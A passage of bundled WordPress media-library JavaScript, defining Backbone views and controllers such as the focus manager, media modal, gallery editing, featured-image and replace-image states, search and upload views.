element.tagName === 'SCRIPT' || element.hasAttribute( 'aria-hidden' ) || element.hasAttribute( 'aria-live' ) || liveRegionsRoles.indexOf( role ) !== -1 ); }, /** * Whether the body children are hidden from assistive technologies. * * @since 5.2.3 */ isBodyAriaHidden: false, /** * Stores an array of DOM elements that should be hidden from assistive * technologies, for example when the media modal dialog opens. * * @since 5.2.3 */ ariaHiddenElements: [], /** * Holds the jQuery collection of ARIA tabs. * * @since 5.3.0 */ tabs: $(), /** * Sets up tabs in an ARIA tabbed interface. * * @since 5.3.0 * * @param {Object} event jQuery event object. * * @return {void} */ setupAriaTabs: function() { this.tabs = this.$( '[role="tab"]' ); // Set up initial attributes. this.tabs.attr( { 'aria-selected': 'false', tabIndex: '-1' } ); // Set up attributes on the initially active tab. this.tabs.filter( '.active' ) .removeAttr( 'tabindex' ) .attr( 'aria-selected', 'true' ); }, /** * Enables arrows navigation within the ARIA tabbed interface. * * @since 5.3.0 * * @param {Object} event jQuery event object. * * @return {void} */ tabsNavigation: function( event ) { var orientation = 'horizontal', keys = [ 32, 35, 36, 37, 38, 39, 40 ]; // Return if not Spacebar, End, Home, or Arrow keys. if ( keys.indexOf( event.which ) === -1 ) { return; } // Determine navigation direction. if ( this.$el.attr( 'aria-orientation' ) === 'vertical' ) { orientation = 'vertical'; } // Make Up and Down arrow keys do nothing with horizontal tabs. if ( orientation === 'horizontal' && [ 38, 40 ].indexOf( event.which ) !== -1 ) { return; } // Make Left and Right arrow keys do nothing with vertical tabs. if ( orientation === 'vertical' && [ 37, 39 ].indexOf( event.which ) !== -1 ) { return; } this.switchTabs( event, this.tabs ); }, /** * Switches tabs in the ARIA tabbed interface. * * @since 5.3.0 * * @param {Object} event jQuery event object. * * @return {void} */ switchTabs: function( event ) { var key = event.which, index = this.tabs.index( $( event.target ) ), newIndex; switch ( key ) { // Space bar: Activate current targeted tab. case 32: { this.activateTab( this.tabs[ index ] ); break; } // End key: Activate last tab. case 35: { event.preventDefault(); this.activateTab( this.tabs[ this.tabs.length - 1 ] ); break; } // Home key: Activate first tab. case 36: { event.preventDefault(); this.activateTab( this.tabs[ 0 ] ); break; } // Left and up keys: Activate previous tab. case 37: case 38: { event.preventDefault(); newIndex = ( index - 1 ) < 0 ? this.tabs.length - 1 : index - 1; this.activateTab( this.tabs[ newIndex ] ); break; } // Right and down keys: Activate next tab. case 39: case 40: { event.preventDefault(); newIndex = ( index + 1 ) === this.tabs.length ? 0 : index + 1; this.activateTab( this.tabs[ newIndex ] ); break; } } }, /** * Sets a single tab to be focusable and semantically selected. * * @since 5.3.0 * * @param {Object} tab The tab DOM element. * * @return {void} */ activateTab: function( tab ) { if ( ! tab ) { return; } // The tab is a DOM element: no need for jQuery methods. tab.focus(); // Handle automatic activation. if ( this.tabsAutomaticActivation ) { tab.removeAttribute( 'tabindex' ); tab.setAttribute( 'aria-selected', 'true' ); tab.click(); return; } // Handle manual activation. $( tab ).on( 'click', function() { tab.removeAttribute( 'tabindex' ); tab.setAttribute( 'aria-selected', 'true' ); } ); } }); module.exports = FocusManager; /***/ }), /***/ 846: /***/ ((module) => { /** * wp.media.view.Button * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Button = wp.media.View.extend(/** @lends wp.media.view.Button.prototype */{ tagName: 'button', className: 'media-button', attributes: { type: 'button' }, events: { 'click': 'click' }, defaults: { text: '', style: '', size: 'large', disabled: false }, initialize: function() { /** * Create a model with the provided `defaults`. * * @member {Backbone.Model} */ this.model = new Backbone.Model( this.defaults ); // If any of the `options` have a key from `defaults`, apply its // value to the `model` and remove it from the `options object. _.each( this.defaults, function( def, key ) { var value = this.options[ key ]; if ( _.isUndefined( value ) ) { return; } this.model.set( key, value ); delete this.options[ key ]; }, this ); this.listenTo( this.model, 'change', this.render ); }, /** * @return {wp.media.view.Button} Returns itself to allow chaining. */ render: function() { var classes = [ 'button', this.className ], model = this.model.toJSON(); if ( model.style ) { classes.push( 'button-' + model.style ); } if ( model.size ) { classes.push( 'button-' + model.size ); } classes = _.uniq( classes.concat( this.options.classes ) ); this.el.className = classes.join(' '); this.$el.attr( 'disabled', model.disabled ); this.$el.text( this.model.get('text') ); return this; }, /** * @param {Object} event */ click: function( event ) { if ( '#' === this.attributes.href ) { event.preventDefault(); } if ( this.options.click && ! this.model.get('disabled') ) { this.options.click.apply( this, arguments ); } } }); module.exports = Button; /***/ }), /***/ 1061: /***/ ((module) => { /** * wp.media.view.Frame * * A frame is a composite view consisting of one or more regions and one or more * states. * * @memberOf wp.media.view * * @see wp.media.controller.State * @see wp.media.controller.Region * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ var Frame = wp.media.View.extend(/** @lends wp.media.view.Frame.prototype */{ initialize: function() { _.defaults( this.options, { mode: [ 'select' ] }); this._createRegions(); this._createStates(); this._createModes(); }, _createRegions: function() { // Clone the regions array. this.regions = this.regions ? this.regions.slice() : []; // Initialize regions. _.each( this.regions, function( region ) { this[ region ] = new wp.media.controller.Region({ view: this, id: region, selector: '.media-frame-' + region }); }, this ); }, /** * Create the frame's states. * * @see wp.media.controller.State * @see wp.media.controller.StateMachine * * @fires wp.media.controller.State#ready */ _createStates: function() { // Create the default `states` collection. this.states = new Backbone.Collection( null, { model: wp.media.controller.State }); // Ensure states have a reference to the frame. this.states.on( 'add', function( model ) { model.frame = this; model.trigger('ready'); }, this ); if ( this.options.states ) { this.states.add( this.options.states ); } }, /** * A frame can be in a mode or multiple modes at one time. * * For example, the manage media frame can be in the `Bulk Select` or `Edit` mode. */ _createModes: function() { // Store active "modes" that the frame is in. Unrelated to region modes. this.activeModes = new Backbone.Collection(); this.activeModes.on( 'add remove reset', _.bind( this.triggerModeEvents, this ) ); _.each( this.options.mode, function( mode ) { this.activateMode( mode ); }, this ); }, /** * Reset all states on the frame to their defaults. * * @return {wp.media.view.Frame} Returns itself to allow chaining. */ reset: function() { this.states.invoke( 'trigger', 'reset' ); return this; }, /** * Map activeMode collection events to the frame. */ triggerModeEvents: function( model, collection, options ) { var collectionEvent, modeEventMap = { add: 'activate', remove: 'deactivate' }, eventToTrigger; // Probably a better way to do this. _.each( options, function( value, key ) { if ( value ) { collectionEvent = key; } } ); if ( ! _.has( modeEventMap, collectionEvent ) ) { return; } eventToTrigger = model.get('id') + ':' + modeEventMap[collectionEvent]; this.trigger( eventToTrigger ); }, /** * Activate a mode on the frame. * * @param string mode Mode ID. * @return {this} Returns itself to allow chaining. */ activateMode: function( mode ) { // Bail if the mode is already active. if ( this.isModeActive( mode ) ) { return; } this.activeModes.add( [ { id: mode } ] ); // Add a CSS class to the frame so elements can be styled for the mode. this.$el.addClass( 'mode-' + mode ); return this; }, /** * Deactivate a mode on the frame. * * @param string mode Mode ID. * @return {this} Returns itself to allow chaining. */ deactivateMode: function( mode ) { // Bail if the mode isn't active. if ( ! this.isModeActive( mode ) ) { return this; } this.activeModes.remove( this.activeModes.where( { id: mode } ) ); this.$el.removeClass( 'mode-' + mode ); /** * Frame mode deactivation event. * * @event wp.media.view.Frame#{mode}:deactivate */ this.trigger( mode + ':deactivate' ); return this; }, /** * Check if a mode is enabled on the frame. * * @param string mode Mode ID. * @return bool */ isModeActive: function( mode ) { return Boolean( this.activeModes.where( { id: mode } ).length ); } }); // Make the `Frame` a `StateMachine`. _.extend( Frame.prototype, wp.media.controller.StateMachine.prototype ); module.exports = Frame; /***/ }), /***/ 1169: /***/ ((module) => { var Attachment = wp.media.model.Attachment, Library = wp.media.controller.Library, l10n = wp.media.view.l10n, FeaturedImage; /** * wp.media.controller.FeaturedImage * * A state for selecting a featured image for a post. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=featured-image] Unique identifier. * @param {string} [attributes.title=Set Featured Image] Title for the state. Displays in the media menu and the frame's title region. * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse. * If one is not supplied, a collection of all images will be created. * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled. * @param {string} [attributes.content=upload] Initial mode for the content region. * Overridden by persistent user setting if 'contentUserSetting' is true. * @param {string} [attributes.menu=default] Initial mode for the menu region. * @param {string} [attributes.router=browse] Initial mode for the router region. * @param {string} [attributes.toolbar=featured-image] Initial mode for the toolbar region. * @param {int} [attributes.priority=60] The priority for the state link in the media menu. * @param {boolean} [attributes.searchable=true] Whether the library is searchable. * @param {boolean|string} [attributes.filterable=false] Whether the library is filterable, and if so what filters should be shown. * Accepts 'all', 'uploaded', or 'unattached'. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection. * @param {boolean} [attributes.describe=false] Whether to offer UI to describe attachments - e.g. captioning images in a gallery. * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user. * @param {boolean} [attributes.syncSelection=true] Whether the Attachments selection should be persisted from the last state. */ FeaturedImage = Library.extend(/** @lends wp.media.controller.FeaturedImage.prototype */{ defaults: _.defaults({ id: 'featured-image', title: l10n.setFeaturedImageTitle, multiple: false, filterable: 'uploaded', toolbar: 'featured-image', priority: 60, syncSelection: true }, Library.prototype.defaults ), /** * @since 3.5.0 */ initialize: function() { var library, comparator; // If we haven't been provided a `library`, create a `Selection`. if ( ! this.get('library') ) { this.set( 'library', wp.media.query({ type: 'image' }) ); } Library.prototype.initialize.apply( this, arguments ); library = this.get('library'); comparator = library.comparator; // Overload the library's comparator to push items that are not in // the mirrored query to the front of the aggregate collection. library.comparator = function( a, b ) { var aInQuery = !! this.mirroring.get( a.cid ), bInQuery = !! this.mirroring.get( b.cid ); if ( ! aInQuery && bInQuery ) { return -1; } else if ( aInQuery && ! bInQuery ) { return 1; } else { return comparator.apply( this, arguments ); } }; // Add all items in the selection to the library, so any featured // images that are not initially loaded still appear. library.observe( this.get('selection') ); }, /** * @since 3.5.0 */ activate: function() { this.frame.on( 'open', this.updateSelection, this ); Library.prototype.activate.apply( this, arguments ); }, /** * @since 3.5.0 */ deactivate: function() { this.frame.off( 'open', this.updateSelection, this ); Library.prototype.deactivate.apply( this, arguments ); }, /** * @since 3.5.0 */ updateSelection: function() { var selection = this.get('selection'), id = wp.media.view.settings.post.featuredImageId, attachment; if ( '' !== id && -1 !== id ) { attachment = Attachment.get( id ); attachment.fetch(); } selection.reset( attachment ? [ attachment ] : [] ); } }); module.exports = FeaturedImage; /***/ }), /***/ 1368: /***/ ((module) => { var l10n = wp.media.view.l10n, Uploaded; /** * wp.media.view.AttachmentFilters.Uploaded * * @memberOf wp.media.view.AttachmentFilters * * @class * @augments wp.media.view.AttachmentFilters * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Uploaded = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.Uploaded.prototype */{ createFilters: function() { var type = this.model.get('type'), types = wp.media.view.settings.mimeTypes, uid = window.userSettings ? parseInt( window.userSettings.uid, 10 ) : 0, text; if ( types && type ) { text = types[ type ]; } this.filters = { all: { text: text || l10n.allMediaItems, props: { uploadedTo: null, orderby: 'date', order: 'DESC', author: null }, priority: 10 }, uploaded: { text: l10n.uploadedToThisPost, props: { uploadedTo: wp.media.view.settings.post.id, orderby: 'menuOrder', order: 'ASC', author: null }, priority: 20 }, unattached: { text: l10n.unattached, props: { uploadedTo: 0, orderby: 'menuOrder', order: 'ASC', author: null }, priority: 50 } }; if ( uid ) { this.filters.mine = { text: l10n.mine, props: { orderby: 'date', order: 'DESC', author: uid }, priority: 50 }; } } }); module.exports = Uploaded; /***/ }), /***/ 1753: /***/ ((module) => { var View = wp.media.View, UploaderInline; /** * wp.media.view.UploaderInline * * The inline uploader that shows up in the 'Upload Files' tab. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ UploaderInline = View.extend(/** @lends wp.media.view.UploaderInline.prototype */{ tagName: 'div', className: 'uploader-inline', template: wp.template('uploader-inline'), events: { 'click .close': 'hide' }, initialize: function() { _.defaults( this.options, { message: '', status: true, canClose: false }); if ( ! this.options.$browser && this.controller.uploader ) { this.options.$browser = this.controller.uploader.$browser; } if ( _.isUndefined( this.options.postId ) ) { this.options.postId = wp.media.view.settings.post.id; } if ( this.options.status ) { this.views.set( '.upload-inline-status', new wp.media.view.UploaderStatus({ controller: this.controller }) ); } }, prepare: function() { var suggestedWidth = this.controller.state().get('suggestedWidth'), suggestedHeight = this.controller.state().get('suggestedHeight'), data = {}; data.message = this.options.message; data.canClose = this.options.canClose; if ( suggestedWidth && suggestedHeight ) { data.suggestedWidth = suggestedWidth; data.suggestedHeight = suggestedHeight; } return data; }, /** * @return {wp.media.view.UploaderInline} Returns itself to allow chaining. */ dispose: function() { if ( this.disposing ) { /** * call 'dispose' directly on the parent class */ return View.prototype.dispose.apply( this, arguments ); } /* * Run remove on `dispose`, so we can be sure to refresh the * uploader with a view-less DOM. Track whether we're disposing * so we don't trigger an infinite loop. */ this.disposing = true; return this.remove(); }, /** * @return {wp.media.view.UploaderInline} Returns itself to allow chaining. */ remove: function() { /** * call 'remove' directly on the parent class */ var result = View.prototype.remove.apply( this, arguments ); _.defer( _.bind( this.refresh, this ) ); return result; }, refresh: function() { var uploader = this.controller.uploader; if ( uploader ) { uploader.refresh(); } }, /** * @return {wp.media.view.UploaderInline} */ ready: function() { var $browser = this.options.$browser, $placeholder; if ( this.controller.uploader ) { $placeholder = this.$('.browser'); // Check if we've already replaced the placeholder. if ( $placeholder[0] === $browser[0] ) { return; } $browser.detach().text( $placeholder.text() ); $browser[0].className = $placeholder[0].className; $browser[0].setAttribute( 'aria-labelledby', $browser[0].id + ' ' + $placeholder[0].getAttribute('aria-labelledby') ); $placeholder.replaceWith( $browser.show() ); } this.refresh(); return this; }, show: function() { this.$el.removeClass( 'hidden' ); if ( this.controller.$uploaderToggler && this.controller.$uploaderToggler.length ) { this.controller.$uploaderToggler.attr( 'aria-expanded', 'true' ); } }, hide: function() { this.$el.addClass( 'hidden' ); if ( this.controller.$uploaderToggler && this.controller.$uploaderToggler.length ) { this.controller.$uploaderToggler .attr( 'aria-expanded', 'false' ) // Move focus back to the toggle button when closing the uploader. .trigger( 'focus' ); } } }); module.exports = UploaderInline; /***/ }), /***/ 1915: /***/ ((module) => { var View = wp.media.View, $ = Backbone.$, Settings; /** * wp.media.view.Settings * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Settings = View.extend(/** @lends wp.media.view.Settings.prototype */{ events: { 'click button': 'updateHandler', 'change input': 'updateHandler', 'change select': 'updateHandler', 'change textarea': 'updateHandler' }, initialize: function() { this.model = this.model || new Backbone.Model(); this.listenTo( this.model, 'change', this.updateChanges ); }, prepare: function() { return _.defaults({ model: this.model.toJSON() }, this.options ); }, /** * @return {wp.media.view.Settings} Returns itself to allow chaining. */ render: function() { View.prototype.render.apply( this, arguments ); // Select the correct values. _( this.model.attributes ).chain().keys().each( this.update, this ); return this; }, /** * @param {string} key */ update: function( key ) { var value = this.model.get( key ), $setting = this.$('[data-setting="' + key + '"]'), $buttons, $value; // Bail if we didn't find a matching setting. if ( ! $setting.length ) { return; } // Attempt to determine how the setting is rendered and update // the selected value. // Handle dropdowns. if ( $setting.is('select') ) { $value = $setting.find('[value="' + value + '"]'); if ( $value.length ) { $setting.find('option').prop( 'selected', false ); $value.prop( 'selected', true ); } else { // If we can't find the desired value, record what *is* selected. this.model.set( key, $setting.find(':selected').val() ); } // Handle button groups. } else if ( $setting.hasClass('button-group') ) { $buttons = $setting.find( 'button' ) .removeClass( 'active' ) .attr( 'aria-pressed', 'false' ); $buttons.filter( '[value="' + value + '"]' ) .addClass( 'active' ) .attr( 'aria-pressed', 'true' ); // Handle text inputs and textareas. } else if ( $setting.is('input[type="text"], textarea') ) { if ( ! $setting.is(':focus') ) { $setting.val( value ); } // Handle checkboxes. } else if ( $setting.is('input[type="checkbox"]') ) { $setting.prop( 'checked', !! value && 'false' !== value ); } }, /** * @param {Object} event */ updateHandler: function( event ) { var $setting = $( event.target ).closest('[data-setting]'), value = event.target.value, userSetting; event.preventDefault(); if ( ! $setting.length ) { return; } // Use the correct value for checkboxes. if ( $setting.is('input[type="checkbox"]') ) { value = $setting[0].checked; } // Update the corresponding setting. this.model.set( $setting.data('setting'), value ); // If the setting has a corresponding user setting, // update that as well. userSetting = $setting.data('userSetting'); if ( userSetting ) { window.setUserSetting( userSetting, value ); } }, updateChanges: function( model ) { if ( model.hasChanged() ) { _( model.changed ).chain().keys().each( this.update, this ); } } }); module.exports = Settings; /***/ }), /***/ 1982: /***/ ((module) => { /** * wp.media.view.Iframe * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Iframe = wp.media.View.extend(/** @lends wp.media.view.Iframe.prototype */{ className: 'media-iframe', /** * @return {wp.media.view.Iframe} Returns itself to allow chaining. */ render: function() { this.views.detach(); this.$el.html( '<iframe src="' + this.controller.state().get('src') + '" />' ); this.views.render(); return this; } }); module.exports = Iframe; /***/ }), /***/ 1992: /***/ ((module) => { /** * wp.media.view.Sidebar * * @memberOf wp.media.view * * @class * @augments wp.media.view.PriorityList * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Sidebar = wp.media.view.PriorityList.extend(/** @lends wp.media.view.Sidebar.prototype */{ className: 'media-sidebar' }); module.exports = Sidebar; /***/ }), /***/ 2038: /***/ ((module) => { var Library = wp.media.controller.Library, l10n = wp.media.view.l10n, GalleryEdit; /** * wp.media.controller.GalleryEdit * * A state for editing a gallery's images and settings. * * @since 3.5.0 * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model * * @memberOf wp.media.controller * * @param {Object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=gallery-edit] Unique identifier. * @param {string} [attributes.title=Edit Gallery] Title for the state. Displays in the frame's title region. * @param {wp.media.model.Attachments} [attributes.library] The collection of attachments in the gallery. * If one is not supplied, an empty media.model.Selection collection is created. * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled. * @param {boolean} [attributes.searchable=false] Whether the library is searchable. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.date=true] Whether to show the date filter in the browser's toolbar. * @param {string|false} [attributes.content=browse] Initial mode for the content region. * @param {string|false} [attributes.toolbar=image-details] Initial mode for the toolbar region. * @param {boolean} [attributes.describe=true] Whether to offer UI to describe attachments - e.g. captioning images in a gallery. * @param {boolean} [attributes.displaySettings=true] Whether to show the attachment display settings interface. * @param {boolean} [attributes.dragInfo=true] Whether to show instructional text about the attachments being sortable. * @param {number} [attributes.idealColumnWidth=170] The ideal column width in pixels for attachments. * @param {boolean} [attributes.editing=false] Whether the gallery is being created, or editing an existing instance. * @param {number} [attributes.priority=60] The priority for the state link in the media menu. * @param {boolean} [attributes.syncSelection=false] Whether the Attachments selection should be persisted from the last state. * Defaults to false for this state, because the library passed in *is* the selection. * @param {view} [attributes.AttachmentView] The single `Attachment` view to be used in the `Attachments`. * If none supplied, defaults to wp.media.view.Attachment.EditLibrary. */ GalleryEdit = Library.extend(/** @lends wp.media.controller.GalleryEdit.prototype */{ defaults: { id: 'gallery-edit', title: l10n.editGalleryTitle, multiple: false, searchable: false, sortable: true, date: false, display: false, content: 'browse', toolbar: 'gallery-edit', describe: true, displaySettings: true, dragInfo: true, idealColumnWidth: 170, editing: false, priority: 60, syncSelection: false }, /** * Initializes the library. * * Creates a selection if a library isn't supplied and creates an attachment * view if no attachment view is supplied. * * @since 3.5.0 * * @return {void} */ initialize: function() { // If we haven't been provided a `library`, create a `Selection`. if ( ! this.get('library') ) { this.set( 'library', new wp.media.model.Selection() ); } // The single `Attachment` view to be used in the `Attachments` view. if ( ! this.get('AttachmentView') ) { this.set( 'AttachmentView', wp.media.view.Attachment.EditLibrary ); } Library.prototype.initialize.apply( this, arguments ); }, /** * Activates the library. * * Limits the library to images, watches for uploaded attachments. Watches for * the browse event on the frame and binds it to gallerySettings. * * @since 3.5.0 * * @return {void} */ activate: function() { var library = this.get('library'); // Limit the library to images only. library.props.set( 'type', 'image' ); // Watch for uploaded attachments. this.get('library').observe( wp.Uploader.queue ); this.frame.on( 'content:render:browse', this.gallerySettings, this ); Library.prototype.activate.apply( this, arguments ); }, /** * Deactivates the library. * * Stops watching for uploaded attachments and browse events. * * @since 3.5.0 * * @return {void} */ deactivate: function() { // Stop watching for uploaded attachments. this.get('library').unobserve( wp.Uploader.queue ); this.frame.off( 'content:render:browse', this.gallerySettings, this ); Library.prototype.deactivate.apply( this, arguments ); }, /** * Adds the gallery settings to the sidebar and adds a reverse button to the * toolbar. * * @since 3.5.0 * * @param {wp.media.view.Frame} browser The file browser. * * @return {void} */ gallerySettings: function( browser ) { if ( ! this.get('displaySettings') ) { return; } var library = this.get('library'); if ( ! library || ! browser ) { return; } library.gallery = library.gallery || new Backbone.Model(); browser.sidebar.set({ gallery: new wp.media.view.Settings.Gallery({ controller: this, model: library.gallery, priority: 40 }) }); browser.toolbar.set( 'reverse', { text: l10n.reverseOrder, priority: 80, click: function() { library.reset( library.toArray().reverse() ); } }); } }); module.exports = GalleryEdit; /***/ }), /***/ 2102: /***/ ((module) => { var Search; /** * wp.media.view.Search * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Search = wp.media.View.extend(/** @lends wp.media.view.Search.prototype */{ tagName: 'input', className: 'search', id: 'media-search-input', attributes: { type: 'search' }, events: { 'input': 'search' }, /** * @return {wp.media.view.Search} Returns itself to allow chaining. */ render: function() { this.el.value = this.model.escape('search'); return this; }, search: _.debounce( function( event ) { var searchTerm = event.target.value.trim(); // Trigger the search only after 2 ASCII characters. if ( searchTerm && searchTerm.length > 1 ) { this.model.set( 'search', searchTerm ); } else { this.model.unset( 'search' ); } }, 500 ) }); module.exports = Search; /***/ }), /***/ 2275: /***/ ((module) => { var Library = wp.media.controller.Library, l10n = wp.media.view.l10n, ReplaceImage; /** * wp.media.controller.ReplaceImage * * A state for replacing an image. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=replace-image] Unique identifier. * @param {string} [attributes.title=Replace Image] Title for the state. Displays in the media menu and the frame's title region. * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse. * If one is not supplied, a collection of all images will be created. * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled. * @param {string} [attributes.content=upload] Initial mode for the content region. * Overridden by persistent user setting if 'contentUserSetting' is true. * @param {string} [attributes.menu=default] Initial mode for the menu region. * @param {string} [attributes.router=browse] Initial mode for the router region. * @param {string} [attributes.toolbar=replace] Initial mode for the toolbar region. * @param {int} [attributes.priority=60] The priority for the state link in the media menu. * @param {boolean} [attributes.searchable=true] Whether the library is searchable. * @param {boolean|string} [attributes.filterable=uploaded] Whether the library is filterable, and if so what filters should be shown. * Accepts 'all', 'uploaded', or 'unattached'. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection. * @param {boolean} [attributes.describe=false] Whether to offer UI to describe attachments - e.g. captioning images in a gallery. * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user. * @param {boolean} [attributes.syncSelection=true] Whether the Attachments selection should be persisted from the last state. */ ReplaceImage = Library.extend(/** @lends wp.media.controller.ReplaceImage.prototype */{ defaults: _.defaults({ id: 'replace-image', title: l10n.replaceImageTitle, multiple: false, filterable: 'uploaded', toolbar: 'replace', menu: false, priority: 60, syncSelection: true }, Library.prototype.defaults ), /** * @since 3.9.0 * * @param options */ initialize: function( options ) { var library, comparator; this.image = options.image; // If we haven't been provided a `library`, create a `Selection`. if ( ! this.get('library') ) { this.set( 'library', wp.media.query({ type: 'image' }) ); } Library.prototype.initialize.apply( this, arguments ); library = this.get('library'); comparator = library.comparator; // Overload the library's comparator to push items that are not in // the mirrored query to the front of the aggregate collection. library.comparator = function( a, b ) { var aInQuery = !! this.mirroring.get( a.cid ), bInQuery = !! this.mirroring.get( b.cid ); if ( ! aInQuery && bInQuery ) { return -1; } else if ( aInQuery && ! bInQuery ) { return 1; } else { return comparator.apply( this, arguments ); } }; // Add all items in the selection to the library, so any featured // images that are not initially loaded still appear. library.observe( this.get('selection') ); }, /** * @since 3.9.0 */ activate: function() { this.frame.on( 'content:render:browse', this.updateSelection, this ); Library.prototype.activate.apply( this, arguments ); }, /** * @since 5.9.0 */ deactivate: function() { this.frame.off( 'content:render:browse', this.updateSelection, this ); Library.prototype.deactivate.apply( this, arguments ); }, /** * @since 3.9.0 */ updateSelection: function() { var selection = this.get('selection'), attachment = this.image.attachment; selection.reset( attachment ? [ attachment ] : [] ); } }); module.exports = ReplaceImage; /***/ }), /***/ 2356: /***/ ((module) => { /** * wp.media.view.Settings.Playlist * * @memberOf wp.media.view.Settings * * @class * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Playlist = wp.media.view.Settings.extend(/** @lends wp.media.view.Settings.Playlist.prototype */{ className: 'collection-settings playlist-settings', template: wp.template('playlist-settings') }); module.exports = Playlist; /***/ }), /***/ 2395: /***/ ((module) => { var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay, EmbedImage; /** * wp.media.view.EmbedImage * * @memberOf wp.media.view * * @class * @augments wp.media.view.Settings.AttachmentDisplay * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ EmbedImage = AttachmentDisplay.extend(/** @lends wp.media.view.EmbedImage.prototype */{ className: 'embed-media-settings', template: wp.template('embed-image-settings'), initialize: function() { /** * Call `initialize` directly on parent class with passed arguments */ AttachmentDisplay.prototype.initialize.apply( this, arguments ); this.listenTo( this.model, 'change:url', this.updateImage ); }, updateImage: function() { this.$('img').attr( 'src', this.model.get('url') ); } }); module.exports = EmbedImage; /***/ }), /***/ 2621: /***/ ((module) => { var $ = jQuery, Modal; /** * wp.media.view.Modal * * A modal view, which the media modal uses as its default container. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Modal = wp.media.View.extend(/** @lends wp.media.view.Modal.prototype */{ tagName: 'div', template: wp.template('media-modal'), events: { 'click .media-modal-backdrop, .media-modal-close': 'escapeHandler', 'keydown': 'keydown' }, clickedOpenerEl: null, initialize: function() { _.defaults( this.options, { container: document.body, title: '', propagate: true, hasCloseButton: true }); this.focusManager = new wp.media.view.FocusManager({ el: this.el }); }, /** * @return {Object} */ prepare: function() { return { title: this.options.title, hasCloseButton: this.options.hasCloseButton }; }, /** * @return {wp.media.view.Modal} Returns itself to allow chaining. */ attach: function() { if ( this.views.attached ) { return this; } if ( ! this.views.rendered ) { this.render(); } this.$el.appendTo( this.options.container ); // Manually mark the view as attached and trigger ready. this.views.attached = true; this.views.ready(); return this.propagate('attach'); }, /** * @return {wp.media.view.Modal} Returns itself to allow chaining. */ detach: function() { if ( this.$el.is(':visible') ) { this.close(); } this.$el.detach(); this.views.attached = false; return this.propagate('detach'); }, /** * @return {wp.media.view.Modal} Returns itself to allow chaining. */ open: function() { var $el = this.$el, mceEditor; if ( $el.is(':visible') ) { return this; } this.clickedOpenerEl = document.activeElement; if ( ! this.views.attached ) { this.attach(); } // Disable page scrolling. $( 'body' ).addClass( 'modal-open' ); $el.show(); // Try to close the onscreen keyboard. if ( 'ontouchend' in document ) { if ( ( mceEditor = window.tinymce && window.tinymce.activeEditor ) && ! mceEditor.isHidden() && mceEditor.iframeElement ) { mceEditor.iframeElement.focus(); mceEditor.iframeElement.blur(); setTimeout( function() { mceEditor.iframeElement.blur(); }, 100 ); } } // Set initial focus on the content instead of this view element, to avoid page scrolling. this.$( '.media-modal' ).trigger( 'focus' ); // Hide the page content from assistive technologies. this.focusManager.setAriaHiddenOnBodyChildren( $el ); return this.propagate('open'); }, /** * @param {Object} options * @return {wp.media.view.Modal} Returns itself to allow chaining. */ close: function( options ) { if ( ! this.views.attached || ! this.$el.is(':visible') ) { return this; } // Pause current audio/video even after closing the modal. $( '.mejs-pause button' ).trigger( 'click' ); // Enable page scrolling. $( 'body' ).removeClass( 'modal-open' ); // Hide the modal element by adding display:none. this.$el.hide(); /* * Make visible again to assistive technologies all body children that * have been made hidden when the modal opened. */ this.focusManager.removeAriaHiddenFromBodyChildren(); // Move focus back in useful location once modal is closed. if ( null !== this.clickedOpenerEl ) { // Move focus back to the element that opened the modal. this.clickedOpenerEl.focus(); } else { // Fallback to the admin page main element. $( '#wpbody-content' ) .attr( 'tabindex', '-1' ) .trigger( 'focus' ); } this.propagate('close'); if ( options && options.escape ) { this.propagate('escape'); } return this; }, /** * @return {wp.media.view.Modal} Returns itself to allow chaining. */ escape: function() { return this.close({ escape: true }); }, /** * @param {Object} event */ escapeHandler: function( event ) { event.preventDefault(); this.escape(); }, /** * Handles the selection of attachments when the command or control key is pressed with the enter key. * * @since 6.7 * * @param {Object} event The keydown event object. */ selectHandler: function( event ) { var selection = this.controller.state().get( 'selection' ); if ( selection.length <= 0 ) { return; } if ( 'insert' === this.controller.options.state ) { this.controller.trigger( 'insert', selection ); } else { this.controller.trigger( 'select', selection ); event.preventDefault(); this.escape(); } }, /** * @param 